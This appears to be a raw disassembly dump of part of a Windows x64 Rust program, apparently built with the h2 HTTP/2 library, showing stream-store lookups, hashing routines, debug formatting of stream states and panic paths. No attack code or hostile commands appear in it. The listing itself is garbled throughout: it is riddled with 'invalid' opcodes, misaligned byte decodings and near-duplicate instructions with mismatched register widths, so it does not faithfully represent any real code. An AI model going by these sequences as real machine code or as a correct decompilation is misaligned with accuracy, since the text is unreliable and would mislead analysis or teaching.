mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rdi, qword [rdx + 0x20]
mov rbx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
mov rcx, rdi
mov rdx, rbx
call fcn.140059e20
test al, al
je 0x14006ebf5
mov al, 1
jmp 0x14006eb7e
lea rax, [rsi + 8]
mov qword [rsp + 0x68], rax
cmp qword [rsi + 0x18], 0
je 0x14006ec68
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ed40]
mov qword [rsp + 0x30], rax
lea rax, [0x140195e38]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea r8, [rsp + 0x38]
mov rcx, rdi
mov rdx, rbx
call fcn.140059e20
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14006eb7e
xor eax, eax
jmp 0x14006eb7e
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140160e20
ud2
lea rcx, str.assertion_failed:_stream.is_counted
lea r8, [0x1401a8188]
mov edx, 0x23
add byte [rax], al
mov word [rbx], ss
add byte [rbp + rcx*4 + 5], cl
lea ecx, [rbx + rdx + 0x23ba00]
add byte [rax], al
call fcn.140160fb0
ud2
adc eax, dword [rax]
lea r8, [0x1401a7eb0]
mov edx, 0x1f
add al, ch
xchg ecx, eax
sbb cl, byte [rdi]
add byte [rdi], cl
invalid
add al, ch
xchg ecx, eax
sbb cl, byte [rdi]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea ecx, str.assertion_failed:_self.num_send_streams___0
lea ecx, str.assertion_failed:_self.num_send_streams___0
lea r8, [0x1401a8148]
mov edx, 0x2b
add byte [rax], al
call fcn.140160fb0
ud2
or eax, 0x138b8e
lea r8, [0x1401a8100]
mov edx, 0x2b
add al, ch
pop rbp
sbb cl, byte [rdi]
add byte [rdi], cl
invalid
add al, ch
pop rbp
sbb cl, byte [rdi]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x138c44
mov word [rbx], ss
add byte [rbp + rcx*4 + 5], cl
jne 0x14006f4ed
lea r8, [0x1401a81d8]
adc eax, dword [rax]
mov edx, 0x32
call fcn.140160fb0
ud2
sub esp, 0x20
mov rbx, qword [rcx + 0x40]
test rbx, rbx
je 0x14006f7a3
mov edi, edx
mov rsi, rcx
mov rcx, qword [rcx + 0x60]
mov rdx, qword [rsi + 0x68]
mov r8d, edi
call fcn.14006fa80
mov r10, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x58]
mov r8, qword [rsi + 0x28]
mov r9, qword [rsi + 0x30]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r15d, r15d
pcmpeqd xmm1, xmm1
and rax, r9
movdqu xmm2, xmmword [r8 + rax]
enter 0x41f3, 0xf
outsd dx, dword [rsi]
adc al, 0
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r12d, xmm3
pmovmskb r12d, mm3
pmovmskb r12d, mm3
nop word cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x45], ah
test esp, esp
invalid
test r12w, r12w
in al, 0x74
tzcnt r11d, r12d
je 0x14006f640
tzcnt r11d, r12d
add r11, rax
and r11, r9
lea r14, [r11*8]
add byte [rcx + rcx*4 - 0x3f], cl
ret
add byte [rcx + rcx*4 - 0x3f], cl
sub rcx, r14
mov rcx, qword [rcx - 8]
clc
clc
cmp rdx, rcx
jbe 0x14006f7b2
xchg esi, eax
add dword [rax], eax
invalid
xchg esi, eax
add dword [rax], eax
lea ebp, [r12 - 1]
and ebp, r12d
shl rcx, 4
mov r12d, ebp
add byte [rax], al
add byte [rax], al
add byte [rax], al
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x14006f7a3
invalid
add byte [rcx + rax - 8], cl
add rax, r15
add rax, 0x10
add r15, 0x10
rcl byte [rax], 0x49
add edi, 0x10
jmp 0x14006f5d0
invalid
outsd dx, dword [rsi]
add al, 0
invalid
add byte [rsi + 0xf], ah
jbe 0x14006f63e
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
psllw mm0, 7
pmovmskb edi, xmm0
clc
movdqu xmm0, xmmword [r8 + r14]
pcmpeqb xmm0, xmm1
pmovmskb ecx, xmm0
test edi, edi
je 0x14006f69d
or dword [rsi + 0xf], esp
mov ebp, 0xff783ff
bsr di, di
xor edi, 0xf
jmp 0x14006f6a1
add al, 0x66
mov di, reloc.WS2_32.dll_recv
neg r11
or ecx, 0x10000
tzcnt ecx, ecx
leave
leave
add edi, ecx
mov cl, 0x80
cmp di, 0xf
ja case.0x14007695a.349
inc qword [rsi + 0x38]
mov cl, 0xff
mov byte [r8 + r14], cl
mov byte [rax + rsi], cl
mov byte [rax + r8 + 0x10], cl
dec rbx
dec ebx
dec ebx
mov qword [rsi + 0x40], rbx
mov rcx, qword [r8 + r11*8 - 8]
cmp rdx, rcx
jbe 0x14006f7c0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xffffffffffffc148, 0xffffffffffffffe0
add al, 0x48
dec edx
mov rax, rcx
shl rax, 4
dec rdx
mov r11, rdx
shl r11, 4
jrcxz 0x14006f6f1
jrcxz 0x14006f6f1
movups xmm0, xmmword [r10 + r11]
adc byte [rdx + rbx], al
sbb al, byte [rcx + 0xf]
movups xmmword [r10 + rax], xmm0
adc dword [rdx + rax], eax
mov qword [rsi + 0x58], rdx
cmp rdx, rcx
jbe 0x14006f7a3
invalid
lahf
add byte [rax], al
invalid
xchg byte [rdi + 0x49000000], bl
add edx, eax
add r10, rax
mov rax, qword [r10]
mov r10, rax
shr r10, 0x39
shr edx, 0x39
shr edx, 0x39
movd xmm0, r10d
punpcklbw xmm0, xmm0
punpcklbw mm0, mm0
punpcklbw mm0, mm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
add byte [rsi + 0xf], ah
jo 0x14006f6e3
add byte [rbp + 0x31], al
ror byte [rcx + riz - 0x38], cl
and rax, r9
movdqu xmm2, xmmword [r8 + rax]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r11d, xmm3
nop dword [rax]
test r11w, r11w
je 0x14006f780
lea edi, [r11 - 1]
and edi, r11d
tzcnt esi, r11d
bsf esi, r11d
add rsi, rax
and rsi, r9
invalid
lea r11, [rsi*8]
add byte [rax], al
invalid
add byte [rax], al
mov rbx, r8
sub rbx, r11
mov r11d, edi
cmp qword [rbx - 8], rdx
jne 0x14006f740
jmp 0x14006f79b
nop word cs:[rax + rax]
pcmpeqb xmm2, xmm1
pmovmskb r11d, xmm2
shl dword [rsi + 0x44], 1
pmovmskb ebx, mm2
test r11d, r11d
jne 0x14006f7c7
add rax, r10
add rax, 0x10
add r10, 0x10
jmp 0x14006f727
neg rsi
mov qword [r8 + rsi*8 - 8], rcx
clc
clc
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
call fcn.140160ed0
ud2
invalid
call fcn.14015d8c0
ud2
lea rcx, str.index_not_found
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov edx, recv
call fcn.140161290
mov cl, 0x1a
str word [rdi]
invalid
mov cl, 0x1a
str word [rdi]
or ecx, esp
int3
add byte [rax], al
and al, 0x4c
mov eax, dword [rsp + 0x78]
sbb al, byte [rax]
mov eax, dword [rsp + 0xc8]
mov rsi, rdx
mov rax, qword [rcx]
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1401a90f6]
mov r8d, 8
mov eax, 8
mov eax, 8
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
and al, 0x38
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
sbb dword [rbp + 0x12], 0x4c8d4800
and al, 0x28
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
sbb dword [rbp + 0x12], 0x4c8d4800
and al, 0x28
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
cmp byte [rax - 0x7b], cl
invalid
je 0x14006fa6b
cmp byte [rax - 0x7b], cl
sal byte [rsi + rdx*2 - 0x4d], 1
mov bl, 1
test cl, cl
jne 0x14006fa6d
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14006fa4f
cmp byte [rsp + 0x39], 0
je 0x14006fa4f
test byte [rsi + 0x34], 4
jne 0x14006fa4f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
outsb dx, byte [rsi]
cmpsb byte [rsi], byte [rdi]
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14006fa6d
outsb dx, byte [rsi]
cmpsb byte [rsi], byte [rdi]
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14006fa6d
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
push rsp
and al, 0x58
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x2c], r8d
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
lea edx, [rsp + 0x2c]
lea edx, [rsp + 0x2c]
mov r8d, 4
call fcn.140006000
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x30]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
xor edx, eax
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
add eax, ecx
enter 0xffffffffffffc148, 0xffffffffffffffc1
or eax, 0x48c13148
rol eax, 0x20
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
rol edx, 0x15
ret 0x4915
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
xor edx, eax
xor edx, eax
add rax, rcx
rol rcx, 0xd
add r8, rdx
add eax, edx
add eax, edx
rol rdx, 0x10
xor rdx, r8
xor edx, eax
rol rdx, 0x15
xor rcx, rax
add r8, rcx
add eax, ecx
add eax, ecx
enter 0xffffffffffffc148, 0xffffffffffffffc1
adc dword [rcx + rcx*4 - 0x40], ecx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
ror byte [rcx + rsi - 0x40], 1
ror byte [rcx + rsi - 0x40], 1
add rsp, 0x78
ret
int3
int3
push rax
mov rsi, rdx
mov rdi, qword [rcx]
movzx eax, byte [rdi]
add al, 0xfa
movzx eax, al
cmp al, 6
mov ecx, 6
cmovb ecx, eax
movzx eax, cl
invalid
enter 0xffffffffffffb60f, 0xffffffffffffffc1
ror dword [rax - 0x73], 0xd
adc dword [rcx + 0x63480019], 4
or dword [rax + 1], 0x48e0ffc8
jmp rax
invalid
lea rcx, [0x140208dac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x161a63
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x161a63
mov r8d, 4
jmp 0x14006fc81
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1393f8
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1393f8
invalid
add byte [rcx - 0x48], al
or eax, 0xeb000000
sbb dword [rax - 0x75], ecx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401a9065]
invalid
xchg ebx, eax
adc eax, dword [rax]
mov r8d, recv
jmp 0x14006fc81
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401a9065]
invalid
xchg ebx, eax
adc eax, dword [rax]
invalid
mov r8d, recv
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp rax
lea rax, [rdi + 2]
mov qword [rsp + 0x48], rax
inc rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Open
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140070440]
mov qword [rsp + 0x20], rax
lea rdx, [0x1401a9035]
adc eax, dword [rax]
adc eax, dword [rax]
lea rsi, [rsp + 0x30]
mov r8d, 5
mov rcx, rsi
mov r9, rdi
call fcn.14005ca00
lea rax, [0x140070400]
mov qword [rsp + 0x20], rax
lea rdx, [0x1401a903a]
adc eax, dword [rax]
lea r9, [rsp + 0x48]
lea ecx, [rsp + 0x48]
mov r8d, 6
mov rcx, rsi
call fcn.14005ca00
cmp byte [rsp + 0x39], 0
and al, 0x39
add byte [rdi], cl
mov dh, 0x44
and al, 0x38
and al, 0x39
add byte [rdi], cl
mov dh, 0x44
and al, 0x38
je 0x14006fe7b
test al, al
mov al, 1
jne 0x14006fe7b
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x30
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x14006fe63
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x16a78c
invalid
invalid
lea rdx, [0x1401da4d0]
invalid
mov r8d, 2
jmp 0x14006fe78
inc rdi
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x139332
mov rax, qword [rsi + 0x28]
lea rdx, str.HalfClosedLocalHalfClosedRemote
mov r8d, recv
jmp 0x14006fd8b
inc rdi
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401a90a7]
mov r8d, reloc.WS2_32.dll_recv
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x1401a9078]
jmp 0x14006fde9
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.ClosedParse
mov r8d, 6
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x1401a90b8]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call fcn.14005cdb0
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp + 0x40]
test rax, rax
je 0x14006fe5d
mov bl, 1
test cl, cl
jne 0x14006fe5f
mov rsi, qword [rsp + 0x38]
cmp rax, 1
jne 0x14006fe41
cmp byte [rsp + 0x41], 0
je 0x14006fe41
test byte [rsi + 0x34], 4
jne 0x14006fe41
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14006fe5f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14006fe5f
mov ebx, ecx
test bl, bl
jmp 0x14006fe7d
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401dc0ab]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rcx + rcx*4 + 0x7f], al
xor bl, ch
invalid
and al, 0x2c
cmp qword [r14 + 0x10], r15
jbe 0x1400716fc
jae 0x140071588
add byte [rax], al
jae 0x140071588
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
mov rcx, qword [r14]
test rcx, rcx
je 0x1400716fc
cmp dword [rcx + r12], 2
je 0x1400716fc
add rcx, r12
add ecx, esp
cmp dword [rcx + 0x114], ebx
jne 0x1400716fc
add byte [rax], al
add byte [rax], al
cmp qword [rcx + 0x88], 0
je 0x140071609
mov ecx, 0x88
add byte [rax + rdx*2 + 0x44], dh
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x2c], ebx
mov rcx, qword [r14]
test rcx, rcx
je 0x1400716fc
cmp dword [rcx + r12], 2
and dword [rdx], eax
je 0x1400716fc
add rcx, r12
cmp dword [rcx + 0x114], ebx
adc al, 1
add byte [rax], al
invalid
adc al, 1
add byte [rax], al
invalid
add byte [rdi], cl
test dword [rcx + rax], edx
add byte [rax], al
jne 0x1400716fc
cmp byte [rcx + 0x124], 0
jne 0x140071609
cmp byte [rcx + 0x125], 0
add byte [rax], al
jne 0x140071609
add rdi, 0x10
mov rcx, rdi
mov rdx, rsi
mov edx, esi
mov edx, esi
call fcn.1400705b0
mov r8, qword [rsp + 0x70]
cmp r8, 2
je 0x1400716b1
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x78]
lea rdx, [rsp + 0x88]
add byte [rax], al
mov rcx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
test r8, r8
je 0x140071644
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
loopne 0x14007162d
loopne 0x14007162d
add rcx, r8
add rcx, 0x10
invalid
invalid
rcl dword [rax], 0xff
push rax
push 0x24448b4c
call qword [rax + 0x68]
mov r8, qword [rsp + 0x70]
jo 0x140071696
cmp eax, 2
jo 0x140071696
cmp eax, 2
je 0x1400716b1
pop rdi
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
je 0x14007167e
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x70]
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x70
cmp rax, 2
je 0x1400716b1
test rax, rax
je 0x1400716b1
sal byte [rbp + rbx + 0x48], 0x8b
mov rax, qword [rsp + 0x78]
and al, 0x78
lock dec qword [rax]
jne 0x1400716b1
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
call fcn.140069a20
nop
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
and al, 0x48
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x60
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
lea rax, [rsp + 0x70]
jmp 0x140071730
xor al, 0x48
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x30], rax
lea rax, [0x14006a5f0]
lea eax, [0x14006a5f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
outsb dx, byte [rsi]
adc eax, dword [rax]
outsb dx, byte [rsi]
adc eax, dword [rax]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], 1
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
add byte [rax - 0x73], cl
adc eax, 0x136e53
push rbx
outsb dx, byte [rsi]
adc eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x136e53
push rbx
outsb dx, byte [rsi]
adc eax, dword [rax]
push rbx
outsb dx, byte [rsi]
adc eax, dword [rax]
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.140160e20
ud2
and al, 0x2c
mov qword [rsp + 0x30], rax
lea rax, [0x14006a5f0]
xor byte [rax - 0x73], cl
add eax, 0xffff8e8e
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
add byte [rax - 0x77], cl
and al, 0x40
invalid
add byte [rax - 0x77], cl
and al, 0x40
invalid
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
add byte [rax - 0x73], cl
and al, 0x40
add byte [rax - 0x73], cl
and al, 0x40
call fcn.140160e20
ud2
int3
sub rsp, 0x68
mov r9, r8
mov r8, qword [rdx]
mov r11d, dword [rdx + 8]
mov r10d, dword [rdx + 0xc]
mov dword [rsp + 0x20], r11d
lea rax, [rsp + 0x24]
mov dword [rsp + 0x24], r10d
cmp qword [r8 + 0x10], r11
jbe 0x14007185f
mov rdx, qword [r8]
mov edx, dword [rax]
test rdx, rdx
je 0x14007185f
imul rsi, r11, 0x130
cmp dword [rdx + rsi], 2
je 0x14007185f
add rdx, rsi
cmp dword [rdx + 0x114], r10d
jne 0x14007185f
mov edi, dword [rdx + 0x84]
xor edx, edx
test edi, edi
cmovg edx, edi
jle 0x140071857
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x24], r10d
mov r11, qword [r8]
test r11, r11
je 0x1400718b4
cmp dword [r11 + rsi], 2
je 0x1400718b4
add r11, rsi
cmp dword [r11 + 0x114], r10d
jne 0x1400718b4
mov eax, dword [r11 + 0x84]
sub eax, edx
jo 0x14007184c
mov dword [r11 + 0x84], eax
add rsp, 0x68
pop rdi
pop rsi
jmp fcn.140070d00
nop
add rsp, 0x68
pop rdi
pop rsi
ret
mov qword [rsp + 0x28], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140160e20
ud2
mov qword [rsp + 0x28], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add byte [rax - 0x39], cl
and al, 0x58
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140160e20
ud2
add byte [rbp - 0x75], cl
adc byte [rbp - 0x7b], cl
ror byte [rdi], cl
test byte [rbx + 1], dl
add byte [rax], al
imul rsi, rax, 0x130
cmp dword [r10 + rsi], 2
je 0x140071aa1
add rsi, r10
cmp dword [rsi + 0x114], r9d
jne 0x140071aa1
cmp dword [rsi + 0xd0], 0
mov esi, 0xd0
add byte [rdi], cl
test dword [rsi + 1], edi
add dword [rax], eax
invalid
jne 0x140071afb
mov dword [rdx], 0
jmp 0x140071a02
add byte [rax], al
add byte [rbp - 0x75], cl
adc byte [rbp - 0x7b], cl
ror byte [rdi], cl
test byte [rsi + 0x4c000000], dl
imul ebx, eax, 0x130
cmp dword [r10 + r11], 2
je 0x140071a47
add r10, r11
cmp dword [r10 + 0x114], r9d
jne 0x140071a47
movsd xmm0, qword [r10 + 0xd4]
cmp dword [r10 + 0xd0], 0
mov dword [r10 + 0xd0], 0
invalid
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
je 0x140071b15
rol byte [rax], 1
add byte [rax], al
add byte [rcx - 0x39], al
invalid
mov dword [rdx], 1
movlps qword [rdx + 4], xmm0
mov r10, qword [r8]
mov r11, qword [r8 + 0x10]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x2c], r9d
cmp r11, rax
jbe 0x140071a47
test r10, r10
je 0x140071a47
imul rdx, rax, 0x130
cmp dword [r10 + rdx], 2
je 0x140071a47
add r10, rdx
cmp dword [r10 + 0x114], r9d
jne 0x140071a47
mov byte [r10 + 0x124], 0
add byte [rax], al
mov qword [rcx], r8
mov dword [rcx + 8], eax
mov dword [rcx + 0xc], r9d
add rsp, 0x70
pop rsi
ret
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
and al, 0x60
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x578
mov rbp, qword [r9]
sub dword [rcx - 0x75], eax
pop rcx
or byte [rbp - 0x75], al
imul ecx, dword [rcx + rcx*4], 0x190249c
add byte [rax], al
lea rax, [rsp + 0x194]
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x1400727e9
xchg esp, eax
add dword [rax], eax
add byte [rax + 0x39], cl
pop rbp
adc byte [rdi], cl
xchg byte [rdx + 0x4c00000b], bl
mov edi, dword [rbp]
mov r15, qword [rbp]
test r15, r15
je 0x1400727e9
or eax, dword [rax]
add byte [rcx + rbp*2 - 0x1d], cl
xor byte [rcx], al
add byte [rax], al
imul r12, rbx, 0x130
cmp dword [r15 + r12], 2
je 0x1400727e9
invalid
add byte [rbp + 1], cl
out 0x45, eax
add r15, r12
